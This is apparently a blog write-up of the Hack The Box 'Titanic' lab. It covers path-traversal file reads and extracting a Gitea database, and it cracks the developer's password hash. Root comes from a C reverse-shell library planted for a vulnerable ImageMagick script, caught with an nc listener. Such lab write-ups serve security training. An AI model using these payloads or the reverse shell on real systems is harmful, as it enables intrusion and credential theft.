Post

HTB Titanic Writeup (Walkthrough)

HTB Titanic Writeup (Walkthrough)

INFO

Machine IP = 10.10.11.55
OS = Linux
Level = EASY
Points = 20

Let’s start by adding the machine to our hosts file:

1
echo "10.10.11.55 titanic.htb dev.titanic.htb" >> /etc/hosts

Enumeration

Port Scanning

1
nmap -sC -sV -oN titanic.nmap 10.10.11.55

Open Ports:

  • 22/tcp OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
  • 80/tcp Apache httpd 2.4.52

Web Enumeration

Visiting http://titanic.htb/ reveals a booking form at /book that generates JSON tickets. Intercepting the request shows a redirect to /download?ticket=random-id.json.

Local File Inclusion (LFI)

Testing path traversal in the ticket parameter:

1
curl -s "http://titanic.htb/download?ticket=../../../../etc/passwd"

Successful response includes:

1
2
3
root:x:0:0:root:/root:/bin/bash
[...]
developer:x:1000:1000:developer:/home/developer:/bin/bash

Discovering Subdomains

Extracting /etc/hosts via LFI:

1
curl -s "http://titanic.htb/download?ticket=../../../../etc/hosts"

Response shows:

1
127.0.0.1 localhost titanic.htb dev.titanic.htb

Gitea Exploration

Visiting http://dev.titanic.htb reveals a Gitea instance. After registering a user, we find two repositories:

  • docker-config
  • flask-app

Extracting Gitea Database

Using LFI to download the SQLite database:

1
curl -s "http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db" -o gitea.db

Extract credentials from the database:

1
sqlite3 gitea.db "SELECT name,passwd,salt FROM user WHERE name='developer'"

Output:

1
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34

Or by another way:

1
sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes

Output:

1
developer:sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=

Cracking the Hash

Convert hash to hashcat format for first method:

1
python3 gitea2hashcat.py developer_hash.txt

Crack with hashcat:

1
hashcat -m 10900 developer_hash.txt /usr/share/wordlists/rockyou.txt

Cracked credentials:

1
developer:25282528

User Access

SSH access with cracked credentials:

Retrieve user flag:

1
cat user.txt

Another way to get user flag from purbsuite:

1
2
3
4
5
6
7
8
9
10
GET /download?ticket=/home/developer/user.txt HTTP/1.1
Host: titanic.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://titanic.htb/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Privilege Escalation

ImageMagick Exploit The /opt/scripts/identify_images.sh script uses vulnerable ImageMagick version 7.1.1-35.

Create malicious library:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
cat > revshell.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

__attribute__((constructor)) void init() {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;

    server.sin_family = AF_INET;
    server.sin_port = htons(4444);  // Replace with your attacker's listening port
    server.sin_addr.s_addr = inet_addr("10.10.16.x"); // Replace "YOUR_IP" with your attacker's IP address

    connect(sock, (struct sockaddr *)&server, sizeof(server));

    dup2(sock, 0); // Redirect stdin
    dup2(sock, 1); // Redirect stdout
    dup2(sock, 2); // Redirect stderr

    char *argv[] = {"/bin/sh", NULL}; // Properly set arguments for execve
    execve("/bin/sh", argv, NULL);    // Spawn a shell
}
EOF

gcc -shared -fPIC -o libxcb.so.1 revshell.c
mv libxcb.so.1 /opt/app/static/assets/images/

Trigger the exploit:

1
echo "image.png" | sudo /opt/scripts/identify_images.sh

Root Access

On attacker machine:

1
nc -lnvp 4444

Retrieve root flag:

1
cat /root/root.txt

Or another way to get root flag withouth reverse shell:

1
2
3
4
5
6
7
8
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor)) void init(){
    system("cat /root/root.txt > /tmp/root.txt");
    exit(0);
}
EOF
1
cat /tmp/root.txt

Conclusion

This challenge demonstrates the importance of proper input validation and keeping software dependencies updated. The path from LFI to root access involved multiple steps including credential reuse analysis and exploiting known vulnerabilities in outdated packages.

Flags

  • User Flag: 4354526d3f…3fe19931
  • Root Flag: efa441a20e…921d30d7

Done!


Hi there 👋 Support me!

Life is an echo—what you send out comes back.

Donate

This post is licensed under CC BY 4.0 by the author.